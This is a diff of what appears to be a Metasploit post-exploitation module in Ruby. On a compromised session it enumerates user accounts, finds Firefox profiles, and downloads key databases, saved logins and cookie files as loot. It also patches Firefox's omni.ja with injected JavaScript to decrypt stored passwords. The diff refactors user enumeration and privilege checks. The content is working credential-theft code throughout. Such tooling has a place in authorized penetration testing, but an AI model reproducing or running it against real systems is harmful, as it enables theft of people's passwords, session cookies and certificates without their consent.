@@ -176,9 +176,9 @@ def run
176
176
decrypt_download_creds
177
177
else # Non DECRYPT
178
178
paths = [ ]
179
- @platform =~ /unix|osx/ ? ( paths = enum_users_unix ) : ( paths = enum_users_win )
179
+ paths = enum_users
180
180
181
- if paths . empty?
181
+ if paths . nil? or paths . empty?
182
182
print_error ( "No users found with a Firefox directory" )
183
183
return
184
184
end
@@ -228,64 +228,55 @@ def decrypt_recover_omni(temp_file, org_file, path)
228
228
end
229
229
230
230
231
- def enum_users_unix
231
+ def enum_users
232
232
paths = [ ]
233
233
id = whoami
234
+
234
235
if id . nil? or id . empty?
235
236
print_error ( "Session #{ datastore [ 'SESSION' ] } is not responding" )
236
237
return
237
238
end
238
239
239
- @platform == :osx ? ( home = "/Users/" ) : ( home = "/home/" )
240
+ if @platform == :windows
241
+ vprint_status ( "Searching every possible account on the target system" )
242
+ grab_user_profiles ( ) . each do |user |
243
+ next if user [ 'AppData' ] . nil?
244
+ dir = check_firefox_win ( user [ 'AppData' ] )
245
+ paths << dir if dir
246
+ end
247
+ else # unix, bsd, linux, osx
248
+ @platform == :osx ? ( home = "/Users/" ) : ( home = "/home/" )
240
249
241
- if got_root?
242
- vprint_status ( "Detected ROOT privileges. Searching every account on the system." )
243
- userdirs = session . shell_command ( "ls #{ home } 2>/dev/null" ) . gsub ( /\s / , "\n " )
244
- userdirs << "/root\n "
245
- else
246
- vprint_status ( "Checking #{ id } 's Firefox account" )
247
- userdirs = session . shell_command ( "ls #{ home + id } 2>/dev/null" ) . gsub ( /\s / , "\n " )
248
- end
250
+ if got_root
251
+ vprint_status ( "Detected ROOT privileges. Searching every account on the target system." )
252
+ userdirs = cmd_exec ( "find #{ home } -maxdepth 1 -mindepth 1 2>/dev/null" ) . gsub ( /\s / , "\n " )
253
+ userdirs << "/root\n "
254
+ else
255
+ vprint_status ( "Checking #{ id } 's Firefox account" )
256
+ userdirs = "#{ home + id } \n "
257
+ end
258
+
259
+ userdirs . each_line do |dir |
260
+ dir . chomp!
261
+ next if dir == "." or dir == ".." or dir =~ /No such file/i
249
262
250
- userdirs . each_line do |dir |
251
- dir . chomp!
252
- next if dir == "." || dir == ".." || dir =~ /No such file/i
263
+ @platform == :osx ? ( basepath = "#{ dir } /Library/Application\\ Support/Firefox/Profiles/" ) : ( basepath = "#{ dir } /.mozilla/firefox/" )
253
264
254
- dir =~ /^ \/ root$/ ? ( basepath = "/ #{ id } " ) : ( basepath = " #{ home + dir } ")
255
- @platform == :osx ? ( basepath = " #{ basepath } /Library/Application \\ Support/Firefox/Profiles/" ) : ( basepath = " #{ basepath } /.mozilla/firefox/ ")
265
+ print_status ( "Checking for Firefox profile in: #{ basepath } ")
266
+ checkpath = cmd_exec ( "ls #{ basepath } " ) . gsub ( / \s / , " \n ")
256
267
257
- print_status ( "Checking for Firefox profile in: #{ basepath } " )
258
- checkpath = session . shell_command ( "ls #{ basepath } 2>/dev/null" ) . gsub ( /\s / , "\n " )
259
- checkpath . each_line do |ffpath |
260
- ffpath . chomp!
261
- if ffpath =~ /\. default/
262
- vprint_good ( "Found profile: #{ basepath + ffpath } " )
263
- paths << "#{ basepath + ffpath } "
268
+ checkpath . each_line do |ffpath |
269
+ ffpath . chomp!
270
+ if ffpath =~ /\. default/
271
+ vprint_good ( "Found profile: #{ basepath + ffpath } " )
272
+ paths << "#{ basepath + ffpath } "
273
+ end
264
274
end
265
275
end
266
276
end
267
- return paths
268
- end
269
-
270
-
271
- def enum_users_win
272
- paths = [ ]
273
- id = whoami
274
- if id . nil? or id . empty?
275
- print_error ( "Session #{ datastore [ 'SESSION' ] } is not responding" )
276
- return
277
- end
278
-
279
- vprint_status ( "Searching every possible account on the system" )
280
- grab_user_profiles ( ) . each do |user |
281
- next if user [ 'AppData' ] . nil?
282
- dir = check_firefox_win ( user [ 'AppData' ] )
283
- paths << dir if dir
284
- end
285
277
return paths
286
278
end
287
279
288
-
289
280
def check_firefox_win ( path )
290
281
paths = [ ]
291
282
ffpath = [ ]
@@ -310,7 +301,7 @@ def check_firefox_win(path)
310
301
end
311
302
312
303
#print_status("Locating Firefox profiles")
313
- path += "Firefox\\ Profiles\\ "
304
+ path << "Firefox\\ Profiles\\ "
314
305
315
306
# We should only have profiles in the Profiles directory store them all
316
307
begin
@@ -341,19 +332,19 @@ def download_loot(paths)
341
332
profile = path . scan ( /Profiles[\\ |\/ ](.+)\. (.+)$/ ) . flatten [ 0 ] . to_s
342
333
profile = path . scan ( /firefox[\\ |\/ ](.+)\. (.+)$/ ) . flatten [ 0 ] . to_s if profile . empty?
343
334
344
- session . type == "meterpreter" ? ( files = session . fs . dir . foreach ( path ) ) : ( files = session . shell_command ( "ls #{ path } 2>/dev/null" ) . split ( ) )
335
+ session . type == "meterpreter" ? ( files = session . fs . dir . foreach ( path ) ) : ( files = cmd_exec ( "ls #{ path } 2>/dev/null" ) . split ( ) )
345
336
346
337
files . each do |file |
347
338
file . chomp!
348
339
if file =~ /^key\d \. db$/ or file =~ /^cert\d \. db$/ or file =~ /^signons.sqlite$/i or file =~ /^cookies\. sqlite$/ or file =~ /^logins\. json$/
349
340
ext = file . split ( '.' ) [ 2 ]
350
341
ext == "txt" ? ( mime = "plain" ) : ( mime = "binary" )
351
342
vprint_status ( "Downloading: #{ file } " )
352
- if session . type == "meterpreter"
343
+ if @platform == :windows
353
344
p = store_loot ( "ff.#{ profile } .#{ file } " , "#{ mime } /#{ ext } " , session , "firefox_#{ file } " )
354
345
session . fs . file . download_file ( p , path + "\\ " + file )
355
346
else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
356
- loot = session . shell_command ( "cat #{ path + file } " )
347
+ loot = cmd_exec ( "cat #{ path } // #{ file } " )
357
348
p = store_loot ( "ff.#{ profile } .#{ file } " , "#{ mime } /#{ ext } " , session , loot , "firefox_#{ file } " , "#{ file } for #{ profile } " )
358
349
end
359
350
print_good ( "Downloaded #{ file } : #{ p . to_s } " )
@@ -372,7 +363,7 @@ def decrypt_get_env
372
363
373
364
case @platform
374
365
when /win/
375
- if !got_root? and session . sys . config . sysinfo [ 'OS' ] !~ /xp/i
366
+ if !got_root and session . sys . config . sysinfo [ 'OS' ] !~ /xp/i
376
367
print_warning ( "You may need SYSTEM privileges on this platform for the DECRYPT option to work" )
377
368
end
378
369
@@ -384,8 +375,8 @@ def decrypt_get_env
384
375
check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
385
376
check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
386
377
when /unix/
387
- if cmd_exec ( "whoami" ) . chomp !~ /root/
388
- print_error ( "You need root privileges on this platform for DECRYPT option" )
378
+ if ! got_root
379
+ print_error ( "You need ROOT privileges on this platform for DECRYPT option" )
389
380
return false
390
381
end
391
382
# Unix matches linux|unix|bsd but BSD is not supported
@@ -436,19 +427,25 @@ def decrypt_modify_omnija(zip)
436
427
'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)
437
428
]
438
429
439
- # Extract files
440
- arya = files . map do |file |
430
+ # Extract files from zip
431
+ arya = files . map do |omnija_file |
441
432
fdata = { }
442
- fdata [ 'content' ] = zip . read ( file ) unless file =~ /jsloader/
443
- fdata [ 'outs' ] = zip . get_output_stream ( file )
433
+ begin
434
+ fdata [ 'content' ] = zip . read ( omnija_file ) unless omnija_file =~ /jsloader/
435
+ fdata [ 'outs' ] = zip . get_output_stream ( omnija_file )
436
+ rescue
437
+ print_error ( "Was not able to find '#{ omnija_file } ' in the compressed .JA file" )
438
+ print_error ( "This could be due to a corrupt download or a unsupported Firefox/Iceweasel version" )
439
+ return false
440
+ end
444
441
fdata
445
442
end
446
443
447
- # Read contents
444
+ # Read contents of array (arya)
448
445
stor_js , pwd_xul , dlog_xul , res_js = arya
449
446
stor_js [ 'outs_res' ] = res_js [ 'outs' ]
450
447
451
- # Payload (close after starting up - allowing evil js to run and nothing else)
448
+ # Insert payload (close after starting up - allowing evil js to run and nothing else)
452
449
wnd_close = "window.close();"
453
450
onload = "Startup(); SignonsStartup(); #{ wnd_close } "
454
451
@@ -708,18 +705,18 @@ def decrypt_download_creds
708
705
end
709
706
710
707
711
- def got_root?
708
+ def got_root
712
709
case @platform
713
710
when :windows
714
- session . sys . config . getuid =~ /SYSTEM/ ? ( true ) : ( false )
711
+ session . sys . config . getuid =~ /SYSTEM/ ? true : false
715
712
else # unix, bsd, linux, osx
716
- ret = whoami
717
- ret =~ /root/ ? ( true ) : ( false )
713
+ id_output = cmd_exec ( "id" ) . chomp
714
+ id_output . include? ( "uid=0(" ) ? true : false
718
715
end
719
716
end
720
717
721
718
722
719
def whoami
723
- @platform == :windows ? ( session . sys . config . getenv ( 'USERNAME' ) ) : ( session . shell_command ( "whoami" ) . chomp )
720
+ @platform == :windows ? ( session . sys . config . getenv ( 'USERNAME' ) ) : ( cmd_exec ( "whoami" ) . chomp )
724
721
end
725
722
end
0 commit comments